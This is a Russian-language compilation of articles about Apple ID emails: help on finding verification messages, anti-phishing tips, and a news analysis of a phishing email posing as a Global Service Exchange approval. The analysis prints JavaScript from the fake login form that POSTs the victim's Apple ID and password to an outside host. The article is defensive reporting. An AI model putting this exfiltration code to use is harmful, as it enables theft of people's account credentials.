Что если письмо от apple id

Не пришло сообщение о проверке или о сбросе

Не знаете, где было сохранено сообщение? Выполните приведенные ниже действия, чтобы найти его.

В некоторых случаях для успешного обновления данных учетной записи Apple ID компания Apple отправляет вам сообщение электронной почты. Например, вы сбросили пароль, контрольные вопросы или добавили новый адрес электронной почты в свою учетную запись. Если вы не можете найти отправленное сообщение, выполните следующие действия.

Поиск сообщения электронной почты

Отправитель сообщения — Apple, поэтому вы сможете быстро найти его. Если сообщения нет в папке «Входящие», проверьте другие папки. Функция фильтрации спама или правило обработки сообщений могли переместить ваше сообщение в папку «Спам», «Нежелательная почта», «Корзина», «Удаленные» или «Архив».

Проверка того, что открыта нужная учетная запись электронной почты

Если вы ищете сообщение о сбросе пароля, убедитесь, что вы вошли в соответствующую учетную запись электронной почты. Это должен быть ваш основной адрес электронной почты Apple ID либо отдельный резервный адрес электронной почты для уведомлений и восстановления доступа, добавленный в вашу учетную запись.

Если вам нужно найти сообщение о проверке, можно выполнить вход на странице учетной записи «Мой Apple ID» и просмотреть все зарегистрированные в ней адреса электронной почты, включая тот, который вы пытаетесь проверить. Если адрес электронной почты указан неверно, можно изменить его и отправить новое сообщение о проверке.

Повторная отправка сообщения электронной почты

Чтобы еще раз отправить сообщение о сбросе, повторите действия по сбросу пароля или контрольных вопросов. После этого вам будет отправлено сообщение на резервный или основной адрес электронной почты Apple ID.

Для повторной отправки сообщения о проверке, выполните вход на странице учетной записи Apple ID. Щелкните ссылку «Повторить отправку» рядом с адресом электронной почты, который нужно проверить, и на этот адрес будет отправлено сообщение.

Проверка возможности получения сообщений электронной почты

Если вы не получаете никаких сообщений, возможно, вам потребуется обратиться за помощью к своему поставщику услуг электронной почты. См. также действия по устранению неполадок с получением сообщений электронной почты в программе «Почта» для ОС OS X или в iCloud.

Источник

Распознавайте фишинговые сообщения, ложные звонки из службы поддержки и другие виды мошенничества и не поддавайтесь на них

Эти советы помогут вам избежать мошенничества и узнать, что делать в случае получения подозрительных электронных писем, телефонных звонков или других сообщений.

Если вы получили подозрительное электронное письмо якобы от имени компании Apple, перешлите его по адресу reportphishing@apple.com. 1 .

Фишингом называются мошеннические попытки получить от вас личную информацию, как правило, по электронной почте. Однако мошенники используют любые способы, чтобы обманом заставить вас предоставить информацию или перевести им деньги, в том числе:

• мошеннические электронные письма и другие сообщения, которые выглядят так, как будто они отправляются надежными компаниями, включая Apple;
• вводящие в заблуждение всплывающие окна и реклама, сообщающие о проблеме с безопасностью;
• мошеннические телефонные звонки или сообщения автоответчика, выдающие себя за службу поддержки Apple;
• поддельные рекламные акции с бесплатными товарами и призами;
• нежелательные приглашения и подписки в календаре.

Если у вас возникли подозрения в отношении неожиданного сообщения, звонка или запроса личной информации или денежных средств, безопаснее предположить, что это мошенничество, и при необходимости связаться с этой компанией.Если вас беспокоит проблема с безопасностью устройства Apple, вы можете получить помощь от Apple.

Если вы считаете, что ваш идентификатор Apple ID был взломан, или если вы могли ввести свой пароль или другую личную информацию на мошенническом веб-сайте, немедленно измените свой пароль идентификатора Apple ID.

Как защитить учетную запись и устройства Apple

Вот несколько советов, как избежать мошеннических атак, направленных на вашу учетную запись и устройства Apple.

• Ни при каких обстоятельствах не передавайте личную информацию, такую как номера кредитных карт, если не можете убедиться, что получатель является тем, за кого себя выдает.
• Защита идентификатора Apple ID. Используйте двухфакторную аутентификацию, всегда храните свою контактную информацию в надежном месте и регулярно обновляйте ее; никогда никому не сообщайте свой пароль идентификатора Apple ID или коды подтверждения. Служба поддержки Apple никогда не запрашивает эту информацию.
• Никогда не используйте подарочные карты Apple для осуществления других типов платежей.
• Узнайте, как определить подлинность электронных писем от компании Apple о ваших покупках в App Store или iTunes Store. Если вы отправляете или получаете деньги с помощью Apple Pay (только для США), относитесь к этому как к любой другой конфиденциальной транзакции.
• Узнайте, как обеспечить безопасность устройств Apple и ваших данных.
• Загружайте программное обеспечение только из источников, которым можно доверять.
• Не переходите по ссылкам, не открывайте и не сохраняйте вложения в подозрительных или нежелательных сообщениях.

Источник

Приходит СМС с кодом проверки для вашего Apple ID: что это такое?

09.08.2021 2 Просмотры

Некоторое время назад владельцы айфонов стали массово жаловаться на то, что им начали приходить смс кодом проверки Apple ID. Люди не знают, что с этим делать, является ли это мошенничеством и как защитить себя от возможных неприятных последствий, возникших по вине мошенников.

Что это такое

Сразу следует отметить, что в системе iOS можно установить специальную проверку, способную обеспечивать защиту устройства от попыток совершения взлома, либо несанкционных действий.

Специальная служба проверки Apple ID заблокирует действия, которые могут стать потенциальным источником проблем для владельца устройства или затронет важные данные.

Что делать, если пришло смс

Однако, людям могут приходить смс с кодом проверки. Это сразу заставляет насторожиться. Подобное объяснимо, когда человек совершал подобный запрос. Но, если он ничего подобного не запрашивал, то это дело рук мошенников.

Обычно злоумышленники высылают смс, в котором не только содержится код, но еще и ссылка на сайт. Причем сайт зачастую содержит в себе словосочетание Apple ID. Сразу нужно насторожиться, потому что, если бы это, действительно было выслано разработчиками, то речь бы шла об iCloud.com, а не о каких-то других сайтах.

Что же делать

Ничего делать в такой ситуации не стоит. Категорически запрещено переходить по каким-либо ссылкам. Если человек совершает запрос на код, он сам предварительно открывает соответствующие формы, куда ему и нужно полученную информацию ввести.

Источник

Мошенники хотят украсть ваш Apple ID. Будьте осторожны

Время от времени мошенники активизируются и начинают атаковать, как правило, владельцев устройств от Apple. Они обманным путем получают доступ к Apple ID и паролям ни о чем не подозревающих пользователей. Правда, последние по своей невнимательности сами «дарят» свои данные злоумышленникам: например, при помощи писем о несуществующей покупке в iTunes Store хакеры собирают номера банковских карт пользователей и другую конфиденциальную информацию. Сегодня расскажем, как выявить такие письма и не стать очередной жертвой.

С виду послание выглядит как письмо от технической поддержки Apple, даже логотип корпорации пририсовать успели. Тема может быть разная: в нашем случае якобы заблокировали Apple ID из-за входа с помощью нового браузера. Также иногда приходят письма, что из-за недавнего изменения в аккаунте пользователя, некоторые данные могут быть неверными: во всех случаях прикладывается ссылка на специальную форму для обновления информации. Большинство атак приходится на адреса электронной почты в зоне «.ru», а значит жертвами могут стать преимущественно российские пользователи.

С первого взгляда можно подумать, что письмо действительно пришло от Apple — об этом свидетельствует подпись «Apple Support», логотипы компании и ссылка, по которой предлагается перейти (https://iforgot.apple.com).

Если пользователь не разбирается в этом и ни разу не сталкивался с фишингом, он вполне может пройти по ссылке, заполнить все поля (ведь сайты злоумышленников стилизованы под Apple) и…остаться без своей учетной записи Apple ID. Отличить злоумышленников от техподдержки Apple очень просто, необходимо лишь быть чуть внимательнее.

Если вы получили подобное письмо, в первую очередь проверьте адрес отправителя. В нашем случае это совершенно непонятная электронная почта, по адресу явно не связанная с Apple. Более находчивые злоумышленники часто маскируются под почту поддержки Apple — адрес в этом случае отличается парой букв.

Также внимательно изучите письмо на предмет опечаток. Например, в нашем письме мошенники просто «промахнулись» мимо клавиши с пробелом и ввели лишний символ в подписи.

Что будет, если перейти по ссылке?

Спустя несколько редиректов вы попадете на непонятный сайт (возможно, у него будет SSL-сертификат и адрес id.apple.com для правдоподобности). Мошенники рассчитывают на то, что раз страница выглядит так же, как официальная страница входа Apple ID, пользователь введет свой Apple ID и пароль, после чего данные в открытом виде попадут в руки злоумышленников. Последним же хватит нескольких минут, чтобы скопировать информацию, украсть данные или заблокировать все ваши устройства с целью получения выкупа.

Как защитить себя

Быть внимательнее. Правда, если потратить хотя бы 30 секунд на изучение письма, можно сразу выявить мошенников. Не стоит забывать и о двухфакторной аутентификации — отличном способе защиты.

Так что будьте внимательны, следуйте простым инструкциям и на всякий случай предупредите друзей и родственников, которые могут быть не столь подготовленными в данном вопросе. А при получении таких писем пересылайте их на reportphishing@apple.com.

Предлагаем подписаться на наш канал в «Яндекс.Дзен». Там вы сможете найти эксклюзивные материалы, которых нет на сайте.

Источник

Внимание! Сегодня нам на почту пришло странное письмо… от Apple

На ваш почтовый ящик часто приходит спам? Он бывает разный: рекламный, с просьбой о помощи каким-то неведомым африканским товарищам, попавшим в сложную финансовую ситуацию, рассылка из сервисов… Сегодня на почтовый адрес нашей редакции пришло любопытное письмо… от Apple.

Вернее, так можно было подумать на первый взгляд, но при детальном рассмотрении содержимого письма стало сразу же понятно, что это фейковый почтовый адрес, цель которого — получение пароля и логина от Apple ID.

Само письмо выглядит следующим образом:

Из короткого сообщения мы узнали, что наша заявка в качестве участника программы Global Service Exchange (GSX) одобрена. Все, что нужно для активации — загрузить прилагающийся архив и ввести данные Apple ID в прилагающейся форме.

Самое интересно в том, что никакой заявки на участие в GSX ни один из членов нашей редакции не подавал.

GSX — это специализированный инструмент, который Apple выдает ограниченному кругу специалистов с целью осуществления сервисного обслуживания в рамках программы AppleCare. В работе используется iOS Diagnostics Apple, либо магазин-посредник, который позволяет связать с устройством клиента для получения необходимой информации.

Полученное письмо действительно выглядит правдоподобно: кратко, по делу, с подтверждением заявки и главной — адрес отправителя. Весьма реалистичный адрес [email protected] — в том же домене, что и Apple и без дополнительных приписок.

Внутри архива есть единственный файл в формате *.shtml. Открываем — обычная форма, которая полностью совпадает с оригиналом от Apple:

Разумеется, вводить Apple ID в подозрительное окно мы не стали.

В прикрепленном файле был обнаружен следующий код:

[jscript]
xmlhttp_rkchk.open(‘POST’,’http://nubetelstore.com/admin3667/123/checkapp2.php’,true);
xmlhttp_rkchk.setRequestHeader(‘Content-Type’,’application/x-www-form-urlencoded;charset=utf8′);
xmlhttp_rkchk.send(‘e=’+accountname+’&p=’+accountpassword);
[/jscript]

Он передает логин и пароль на сайт nubetelstore.com

В whois без палева указан email и телефон хостера. А фишинговый сайт до сих по не заблокирован. Мы сообщим им об этой проблеме.

Хозяева сайта скорее всего не знают о том, что он используется для воровства аккаунтов. Это новый PHP-сайт, беглый осмотр html-кода которого показал, что он возможно был написан людьми, которые не думали о безопасности и делали по принципу: «Чтобы работало». С большой вероятностью nublestore.com был взломан и используется мошенниками без ведома его владельцев.

Как выяснилось, полученное нами письмо — распространенный вариант фишинга, который от имени [email protected] действует с февраля месяца. Достаточно ввести данные своего аккаунта, как вы тут же попадаетесь на крючок злоумышленника и полностью теряете контроль на своим аккаунтом.

Будьте внимательны и никогда не вводите данные своей учетной записи в подозрительные формы. Фишинг — штука тонкая и адрес [email protected] выглядел весьма правдоподобно. Если бы кто-то из нашей большой команды сайта действительно подавал заявку на участие в Global Service Exchange, подвоха мы сразу могли бы и не заметить.

Источник